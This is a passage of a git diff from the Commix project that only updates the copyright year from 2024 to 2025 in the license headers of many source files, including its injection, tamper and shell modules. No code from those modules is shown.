a/src/core/injections/results_based/techniques/classic/cb_payloads.py +++ b/src/core/injections/results_based/techniques/classic/cb_payloads.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/results_based/techniques/eval_based/__init__.py b/src/core/injections/results_based/techniques/eval_based/__init__.py index 3d2d8fc2cb..4a4e6d4eec 100644 --- a/src/core/injections/results_based/techniques/eval_based/__init__.py +++ b/src/core/injections/results_based/techniques/eval_based/__init__.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/results_based/techniques/eval_based/eb_handler.py b/src/core/injections/results_based/techniques/eval_based/eb_handler.py index 5738dde6f1..66aeaccf14 100755 --- a/src/core/injections/results_based/techniques/eval_based/eb_handler.py +++ b/src/core/injections/results_based/techniques/eval_based/eb_handler.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/results_based/techniques/eval_based/eb_injector.py b/src/core/injections/results_based/techniques/eval_based/eb_injector.py index a97af1d338..1c0aacbc1f 100755 --- a/src/core/injections/results_based/techniques/eval_based/eb_injector.py +++ b/src/core/injections/results_based/techniques/eval_based/eb_injector.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/results_based/techniques/eval_based/eb_payloads.py b/src/core/injections/results_based/techniques/eval_based/eb_payloads.py index a79fade871..54da00abff 100755 --- a/src/core/injections/results_based/techniques/eval_based/eb_payloads.py +++ b/src/core/injections/results_based/techniques/eval_based/eb_payloads.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/semiblind/__init__.py b/src/core/injections/semiblind/__init__.py index 3d2d8fc2cb..4a4e6d4eec 100644 --- a/src/core/injections/semiblind/__init__.py +++ b/src/core/injections/semiblind/__init__.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/semiblind/techniques/__init__.py b/src/core/injections/semiblind/techniques/__init__.py index 3d2d8fc2cb..4a4e6d4eec 100644 --- a/src/core/injections/semiblind/techniques/__init__.py +++ b/src/core/injections/semiblind/techniques/__init__.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/semiblind/techniques/file_based/__init__.py b/src/core/injections/semiblind/techniques/file_based/__init__.py index 3d2d8fc2cb..4a4e6d4eec 100644 --- a/src/core/injections/semiblind/techniques/file_based/__init__.py +++ b/src/core/injections/semiblind/techniques/file_based/__init__.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/semiblind/techniques/file_based/fb_handler.py b/src/core/injections/semiblind/techniques/file_based/fb_handler.py index 4bb664b6a2..c5d9b11b11 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_handler.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_handler.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/semiblind/techniques/file_based/fb_injector.py b/src/core/injections/semiblind/techniques/file_based/fb_injector.py index 4d84b58825..bbf27761ff 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_injector.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_injector.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/semiblind/techniques/file_based/fb_payloads.py b/src/core/injections/semiblind/techniques/file_based/fb_payloads.py index a705755b7e..4699b32c30 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_payloads.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_payloads.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/semiblind/techniques/tempfile_based/__init__.py b/src/core/injections/semiblind/techniques/tempfile_based/__init__.py index 3d2d8fc2cb..4a4e6d4eec 100644 --- a/src/core/injections/semiblind/techniques/tempfile_based/__init__.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/__init__.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py index 3ebc407ac6..38fa3e16b4 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py index 7b6638235d..ccfd412e92 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py index b46ceb3806..74343e6445 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/main.py b/src/core/main.py index f2779f4acc..5fff92aed8 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/modules/__init__.py b/src/core/modules/__init__.py index 3d2d8fc2cb..4a4e6d4eec 100644 --- a/src/core/modules/__init__.py +++ b/src/core/modules/__init__.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/modules/modules_handler.py b/src/core/modules/modules_handler.py index e484ac1b34..c40006c673 100644 --- a/src/core/modules/modules_handler.py +++ b/src/core/modules/modules_handler.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/modules/shellshock/__init__.py b/src/core/modules/shellshock/__init__.py index 3d2d8fc2cb..4a4e6d4eec 100644 --- a/src/core/modules/shellshock/__init__.py +++ b/src/core/modules/shellshock/__init__.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/requests/__init__.py b/src/core/requests/__init__.py index 3d2d8fc2cb..4a4e6d4eec 100644 --- a/src/core/requests/__init__.py +++ b/src/core/requests/__init__.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/requests/authentication.py b/src/core/requests/authentication.py index 33d57107bd..2fea54c0ca 100644 --- a/src/core/requests/authentication.py +++ b/src/core/requests/authentication.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/requests/headers.py b/src/core/requests/headers.py index dbd24b6bd6..bdf875c641 100755 --- a/src/core/requests/headers.py +++ b/src/core/requests/headers.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/requests/parameters.py b/src/core/requests/parameters.py index 81043ae3c0..d7e2fdabed 100755 --- a/src/core/requests/parameters.py +++ b/src/core/requests/parameters.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/requests/proxy.py b/src/core/requests/proxy.py index 5d0f122ad6..67b6ab0f92 100644 --- a/src/core/requests/proxy.py +++ b/src/core/requests/proxy.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/requests/redirection.py b/src/core/requests/redirection.py index 5adc02792a..f6fcfdeb5c 100755 --- a/src/core/requests/redirection.py +++ b/src/core/requests/redirection.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/requests/requests.py b/src/core/requests/requests.py index 0b616e0a8e..d5e09c27d4 100755 --- a/src/core/requests/requests.py +++ b/src/core/requests/requests.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/requests/tor.py b/src/core/requests/tor.py index fd2e0b0944..ce1f34df33 100644 --- a/src/core/requests/tor.py +++ b/src/core/requests/tor.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/shells/__init__.py b/src/core/shells/__init__.py index 3d2d8fc2cb..4a4e6d4eec 100644 --- a/src/core/shells/__init__.py +++ b/src/core/shells/__init__.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/shells/bind_tcp.py b/src/core/shells/bind_tcp.py index 840519ddb7..5dd0efa080 100755 --- a/src/core/shells/bind_tcp.py +++ b/src/core/shells/bind_tcp.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/shells/reverse_tcp.py b/src/core/shells/reverse_tcp.py index c953f01723..d8589a47ba 100755 --- a/src/core/shells/reverse_tcp.py +++ b/src/core/shells/reverse_tcp.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/tamper/__init__.py b/src/core/tamper/__init__.py index 3d2d8fc2cb..4a4e6d4eec 100644 --- a/src/core/tamper/__init__.py +++ b/src/core/tamper/__init__.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/tamper/backslashes.py b/src/core/tamper/backslashes.py index 753ed59ba8..4321d0c27c 100644 --- a/src/core/tamper/backslashes.py +++ b/src/core/tamper/backslashes.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/tamper/backticks.py b/src/core/tamper/backticks.py index 169b8ccd88..a9d1c80086 100644 --- a/src/core/tamper/backticks.py +++ b/src/core/tamper/backticks.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/tamper/base64encode.py b/src/core/tamper/base64encode.py index f55496ab4b..5d6b299b44 100644 --- a/src/core/tamper/base64encode.py +++ b/src/core/tamper/base64encode.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/tamper/caret.py b/src/core/tamper/caret.py index 9eb272a0f3..ae7d6ae191 100644 --- a/src/core/tamper/caret.py +++ b/src/core/tamper/caret.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/tamper/dollaratsigns.py b/src/core/tamper/dollaratsigns.py index 9e5b32a599..5a8329e493 100644 --- a/src/core/tamper/dollaratsigns.py +++ b/src/core/tamper/dollaratsigns.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/tamper/doublequotes.py b/src/core/tamper/doublequotes.py index fb39b96715..0af8229673 100644 --- a/src/core/tamper/doublequotes.py +++ b/src/core/tamper/doublequotes.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/tamper/hexencode.py b/src/core/tamper/hexencode.py index 3aac4fe9b6..b76dd2bb7f 100644 --- a/src/core/tamper/hexencode.py +++ b/src/core/tamper/hexencode.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/tamper/multiplespaces.py b/src/core/tamper/multiplespaces.py index 2e4acc3b6a..a5e32727e8 100644 --- a/src/core/tamper/multiplespaces.py +++ b/src/core/tamper/multiplespaces.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/tamper/nested.py b/src/core/tamper/nested.py index fc57e89885..c594a4b0b9 100644 --- a/src/core/tamper/nested.py +++ b/src/core/tamper/nested.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/tamper/printf2echo.py b/src/core/tamper/printf2echo.py index 3595db0a1a..bdb3d262eb 100644 --- a/src/core/tamper/printf2echo.py +++ b/src/core/tamper/printf2echo.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/tamper/rev.py b/src/core/tamper/rev.py index c4b952c2b2..55993592e2 100644 --- a/src/core/tamper/rev.py +++ b/src/core/tamper/rev.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/tamper/singlequotes.py b/src/core/tamper/singlequotes.py index 4dc132d756..6fcb308c08 100644 --- a/src/core/tamper/singlequotes.py +++ b/src/core/tamper/singlequotes.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/tamper/slash2env.py b/src/core/tamper/slash2env.py index e37c577925..8a98d650ae 100644 --- a/src/core/tamper/slash2env.py +++ b/src/core/tamper/slash2env.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/tamper/sleep2timeout.py b/src/core/tamper/sleep2timeout.py index afbdffc64d..b4df1750e8 100644 --- a/src/core/tamper/sleep2timeout.py +++ b/src/core/tamper/sleep2timeout.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/tamper/sleep2usleep.py b/src/core/tamper/sleep2usleep.py index e209b5035f..68cf65c0b4 100644 --- a/src/core/tamper/sleep2usleep.py +++ b/src/core/tamper/sleep2usleep.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/tamper/space2htab.py b/src/core/tamper/space2htab.py index 00bb24e5b1..8e9ba90d17 100644 --- a/src/core/tamper/space2htab.py +++ b/src/core/tamper/space2htab.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/tamper/space2ifs.py b/src/core/tamper/space2ifs.py index 65a79a4167..4ed0b1b5cb 100644 --- a/src/core/tamper/space2ifs.py +++ b/src/core/tamper/space2ifs.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/tamper/space2plus.py b/src/core/tamper/space2plus.py index ce3ec4c88e..c34988cb53 100644 --- a/src/core/tamper/space2plus.py +++ b/src/core/tamper/space2plus.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/tamper/space2vtab.py b/src/core/tamper/space2vtab.py index bdb7688f12..2535bc147a 100644 --- a/src/core/tamper/space2vtab.py +++ b/src/core/tamper/space2vtab.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/tamper/uninitializedvariable.py b/src/core/tamper/uninitializedvariable.py index 0abfc9701f..e8902c74a5 100644 --- a/src/core/tamper/uninitializedvariable.py +++ b/src/core/tamper/uninitializedvariable.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/tamper/xforwardedfor.py b/src/core/tamper/xforwardedfor.py index 39e0543b4f..e6110a555c 100644 --- a/src/core/tamper/xforwardedfor.py +++ b/src/core/tamper/xforwardedfor.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/testing.py b/src/core/testing.py index c045ac66c1..17cb26ffd1 100644 --- a/src/core/testing.py +++ b/src/core/testing.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/thirdparty/__init__.py b/src/thirdparty/__init__.py index 3d2d8fc2cb..4a4e6d4eec 100644 --- a/src/thirdparty/__init__.py +++ b/src/thirdparty/__init__.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/utils/__init__.py b/src/utils/__init__.py index 3d2d8fc2cb..4a4e6d4eec 100644 --- a/src/utils/__init__.py +++ b/src/utils/__init__.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/utils/colors.py b/src/utils/colors.py index 17c5b38474..9a4044db07 100644 --- a/src/utils/colors.py +++ b/src/utils/colors.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/utils/common.py b/src/utils/common.py index 6210a51a55..8794fcce53 100644 --- a/src/utils/common.py +++ b/src/utils/common.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/utils/crawler.py b/src/utils/crawler.py index 902c5a1ad1..bbb169a941 100644 --- a/src/utils/crawler.py +++ b/src/utils/crawler.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/utils/install.py b/src/utils/install.py index bcce5fe980..305d54729f 100644 --- a/src/utils/install.py +++ b/src/utils/install.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/utils/logs.py b/src/utils/logs.py index 1407b5fb95..13d4c82597 100755 --- a/src/utils/logs.py +++ b/src/utils/logs.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/utils/menu.py b/src/utils/menu.py index f57151b6c3..7046769a0d 100755 --- a/src/utils/menu.py +++ b/src/utils/menu.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/utils/purge.py b/src/utils/purge.py index ff15228fd5..81b7dbfebf 100644 --- a/src/utils/purge.py +++ b/src/utils/purge.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). +Copyright (c) 